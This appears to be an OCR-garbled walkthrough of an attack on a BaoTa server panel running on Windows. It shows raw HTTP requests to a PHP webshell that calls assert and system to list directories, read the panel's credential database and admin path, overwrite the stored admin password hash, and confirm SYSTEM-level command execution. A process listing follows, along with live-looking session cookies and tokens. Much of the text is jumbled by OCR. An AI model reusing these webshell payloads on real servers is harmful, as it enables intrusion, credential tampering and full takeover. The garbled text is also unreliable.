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3. Ak data H K

POST /test.php HTTP/1.1

Host: | =

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88
Safari/537.36

Accept
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T 24
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($_REQUEST['a

HTTP/1.1200 OK
Server: nginx
Date: Sat, 04 Jan 2020 09:19:14 GMT

Content-Type: text/html; charset=UTF-8

Connection: close
Vary: Accept-Encoding
d-By: PHP/7.0.33

text/html,application/xhtml+xml,application/xml;q=0.9, apng,*/*q=0.8,appl d-exchange;v=
b3;0=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D53A/wwwroot;
uploadSize=1073741824; rank=a; aceEditor=%78%22f 9 \%2212px%22%2C%22th %A%
BT_PANEL_6=8ca6h24d-1822-4bde-846¢-c7ff87ch2982.cUSNA6YSOCCYdG2ITKZMYWwSTc;
request_token=9744769a1117bc18e7ff240867f8260; serverType=nginx; pnull=2; SetName=; Path=
Connection: close

%3A/wwwroot

Content-Type: application/x-www~form-urlencoded
Content-Length: 51

a=assert&b=print_r(scandir(D:\BtSoft\panel\data))

4. B P % F= MD5 5B AL

Content-Length: 703

Array
(
[01=>.
m=>.
[2] => 404.html
(31 => admin_path.pl
[4] => check.zip
[51 => default.db
(6] => default.pl
(7] => defaultDoc.html
(8] => domain.conf
[9] => edate.pl
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POST /test.php HTTP/1.1 O 4 @ktablelogslogs CREATE TABLE "logs” (
Host: __ il mpewe “id” INTEGER PRIMARY KEY AUTOINCREMENT,

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88
Saf 37.36

Accept:

text/html,application/ xhtml+xml,application/xml;g=0.9, */*,q=0.8,appli hangeiv=
b3;9=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D%3A/wwwroot; “addtime” TEXT.

uploadSize=1073741824; rank=a; f 1 C k D; ) @on M%*-hsjse:brlhmcd10loacosbmlﬂsﬁcesHocce191.163.04102016—12-10

BT_PANEL_6=8ca6b24d-1822-4bde-846¢-7ff87cb2982.CUSN46YSOCCYAG2AITKZMYWWS7C; 15:12:560: TOULTo

request 769a1117bc18e : serverType=nginx; pnull=2; SetName=: Path=D%3A/wwwroot + 3 @eRE[php-7.0lexecshell12020-01-04 17:08:23A VA V D: && cd D:/BtSoft/panel /install && "C:/Program

Connection: close Files/python /python.exe” -u install_soft.py install php 7.060

Content-Type: application/x-www~form-urlencoded 13 117 12020-01-04 17:06:36/ U@/ U&D: & cd D:/BtSoft/panel /install && "C:/Program

Content-Length: 72 Files/python /python.exe” -u install_soft.py install nginx 1.174»/ 3&i%#[mysql-5.7]execshell02020-01-04
17:06:36D: && cd D: &&"C:/Program exe” -uinstall_soft.py install mysé.

a=assert&b=print_r(file_get_contents('D:\BtSoft\panel\data\default.db)) / 3 @iREmysql-5.7]execshell12020-01-04 17:06:36" U&A UED: && cd D:/BtSoft/panel /install && "C:/Program

“panel” (

“title” TEXT,

“url” TEXT,
“username’ TEXT,
password" TEXT,
“click” INTEGER,
“addtime’ INTEGER

“name”
|2
v type

5. ARG E B Fxak

Files/python/python.exe” -u install_softpy install mysql 5.7 € &\ &&D  @grablepanelpanel CREATE TABLE

“id” INTEGER PRIMARY KEY AUTOINCREMENT,

)©" @ tabletask_listtask_list CREATE TABLE "task_list™ (
N INTEGER PRIMARY KEY AUTOINCREMENT,

TEXT,
TEXT,

POST /test.php HTTP/1.1

Host: - -

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88
Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, */*;q=0.8,application/signed-exchange;v=
b3;9=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D%3A/wwwroot;
uploadSize=1073741824; rank=a; aceEditor=%7B%22fontSize%22%3A%2212px%22%2C%22theme%22%3A%22monokai%22%7D;
BT_PANEL_6=8ca6b24d-1822-4b4e-846c-c7ff87ch2982.cUBN46ySOccYdG2foTkZMYWwW87c;
request_token=9744769a1117bc18e7ff2f408678260; serverType=nginx; pnull=2; SetName=; Path=D%3A/wwwroot
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

a=assert&b=print_r(file_get_contents('D:\BtSoft\panel\data\admin_path.pl")

6. #ie%E 5L MD5

8 HTTP/1.1 200 OK
Date: Sat, 04 Jan 2020 09:55:25 GMT
Server: Apache/2.4.41 (Win32) OpenSSL/1.1.1c mod_fcgid/2.3.9a
X-Powered-By: PHP/7.0.33
Upgrade: h2,h2c
Connection: Upgrade, close
Vary: Accept-Encoding
Content-Length: 11
Content-Type: text/html; charset=UTF-8

/bsjsec2019)|

POST /test.php HTTP/1.1 H HTTP/1.1 200 OK

Host: 192.168.128.230 Date: Sat, 04 Jan 2020 09:57:45 GMT

Upgrade-Insecure-Requests: 1 Server: Apache/2.4.41 (Win32) OpenSSL/1.1.1c mod_fcgid/2.3.9a

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 X-Powered-By: PHP/7.0.33

Safari/537.36 Upgrade: h2,h2c

Accept Connection: Upgrade, close

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*:q=0.8,application/ signed-exchange;v= Vary: Accept-Encoding

b3:9=0.9 Content-Length: 5

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh;q=0.9

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D%3A/wwwroot; 24576

uploadSize=1073741824; rank=a; aceEditor=%78%22f¢ 22 2212px%22%2C%22thy 228 2 22%7D;

BT_PANEL_6=8cabb24d-1822-4b4e-846c-c7ff87cb2982.cUBN46ySOccYdG2fITkZMYWwS7c;

request_token=9744769a1117bc18e7ff2f40867f8260; serverType=nginx; pnull=2; SetName=; Path=D%3A/wwwroot

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 208

a=assert&b=print_r(file_put_contents('D:\BtSoft\panel\data\default.db',str_replace(’b17ecdcd10108c06bc4b736ce6740cce’, 25

d55ad283aa400af464c76d713c07ad' file_get_contents('D:\BtSoft\panel\data\default.db")))

7. EAEBBHAR

POST /test.php HTTP/1.1 & username’ TEXT,

Host: .l “password” TEXT,

Upgrade-Insecure-Requests: 1 “login_ip” TEXT,

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 “login_time " TEXT,

Safari/537.36 *phone’ TEXT,

Accept “email” TEXT

text/html,application/ xhtml+xml,application/xml;q=0.9,imag png,*/*q=0.8,applic hange;v= o “ktablelogslogs CREATE TABLE "logs” (

b3,9=0.9 *id” INTEGER PRIMARY KEY AUTOINCREMENT,

Accept-Encoding: gzip, deflate “type” TEXT,

Accept-Language: zh-CN,zh:q=0.9 “log” TEXT,

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D: : “addtime” TEXT

uploadSize=1073741824; rank=a; aceEdit 22f 2 212px%22%2C%22th 2%3, kai%22%7D; )% @ tabledomaindomain CREATE TABLE " domain" (

BT_PANEL_6=8ca6b24d-1822-4bde-846¢-C7Ff87ch2982.cUBNABYSOCCYAG2FITKZMYWWSTC; *id" INTEGER PRIMARY KEY AUTOINCREMENT,

request_token=0744769a1117bc18e7ff2f40867f8260; serverType=nginx; pnull=2; SetName=; Path=D%3A/wwwroot "pid INTEGER,

Connection: close “name’ TEXT,

Content-Type: application/x-www-form-urlencoded “port” INTEGER,

Content-Length: 72 “addtime’ TEXT )
) @ on M%3 76471 168.0.102016-12-10

a=assent&b=print_r(file_get_contents(D:\BtSoft\panel\data\default.db) 15:12:560287962566@qq.com & & O & E#&0

panel (

v Ctte TEXT.

1 3 ék®ilapache-2.4]execshell12020-01-04 17:46:34A A@A _ D: && cd D:/BtSoft/panel
Files/python/python.exe" -u install_soft.py install apache 2.4&*

+ 3 @eRK[iis-7.5]execshell12020-01-04 17:37:39A \ &~ |$D: && cd D:/Bisoft/panel /install && "C:/Program
Files/python /python.exe” -u install_softpy install iis 7.5€"

+ 3 @emH(php-7.0]execshell12020-01-04 17:08:23A VA V D: && cd D:/BtSoft/panel /install & "C:/Program
Files/python /python.exe” -u install_softpy install php 7.09:0

1 3 @k&E[nginx-1.17]execshell12020-01-04 17:06:36/ U U&D: && cd D:/BtSoft/panel /install && "C:/Program
Files/python/python.exe” -u install_soft.py install nginx 1.17¢.

/ 3 @iRE[mysql-5.7]execshell12020-01-04 17:06:36/ U/ UGD: && cd D:/BtSoft/panel/install && "C:/Program
Files/python/python.exe” -u install_softpy install mysql 5.7 € &\ &&D  @gtablepanelpanel CREATE TABLE

stall & "C:/Program

“id" INTEGER PRIMARY KEY AUTOINCREMENT,
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9. 57 PHP BLE, 2 JH system & A M b IR

POST /test.php HTTP/1.1 s HTTP/1.1 200 OK

Server: nginx

Cache-Control: max-age=0 Date: Sat, 04 Jan 2020 09:32:48 GMT
Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Connection: close

Safari/537.36 Vary: Accept-Encoding

Accept: X-Powered-By: PHP/7.0.33
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v= Content-Length: 21

b3:q=0.9

Accept-Encoding: gzip, deflate ntauthority\system
Accept-Language: zh-CN,zh;q=0.9

Cookie: order=id%20desc; memSize=16383; force=0; backup_path=D%3A/backup; sites_path=D%3A/wwwroot;
uploadSize=1073741824; rank=a; aceEditor=%7B%22fontSize%22%3A%2212px%22%2C%22theme%22%3A%22monokai%22%7D;
BT_PANEL_6=8ca6b24d-1822-4b4e-846c-c7ff87cb2982.cUSN46ySOccYdG2fITkZMYWwWS87c;
request_token=9744769a1117bc18e7ff2f40867f8260; serverType=nginx; SetName=; Path=D%3A/wwwroot; pnull=3
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 17

a=system&b=whoami

10. B85 AP

Lldbr. exe *32  SISTEM uu 1,420 K LLL

LogonUL. exe SYSTEM 00 6,296 K Windows Logon User Interface Host
lsass. exe SYSTEM oo 6,064 K Local Security Authority Process
1sm. exe SYSTEN 00 2,672 K FHSREIREMRS

msdte. exe NETHORK SERVICE 00 3,036 K Microsoft HMZEHMEMRRRS
mysqld. exe SYSTEM 00 152,512 K mysqld. exe

nginx. exe *32 | SYSTEM oo 16,596 K nginx. exe

nginx. exe *32 | SYSTEM 0o 16,656 K nginx. exe

nginx. exe %32 | SYSTEM 00 16,600 K nginx. exe

nginx. exe *32 | SYSTEM 00 16,580 K nginx. exe

nginx. exe *32 | SYSTEM 0o 1,448 K nginx. exe

nginx_serv... | SYSTEM 0o 1,168 K nginx_server. exe

php-cgi. exe SYSTEM 00 4,940 K CGI / FastCGI

iphp—cgi. exe SYSTEM 0o 4,952 K CGI / FastCGL

ProcessMan. .. | SYSTEM 0o 2,976 K ProcessManager. exe

python. exe SYSTEM 0o 13,744 K Fython

python. exe 00 51,024 K Python

rdpelip. exe Administrator 0o 1,748 K RDP Clip MiNIEFE
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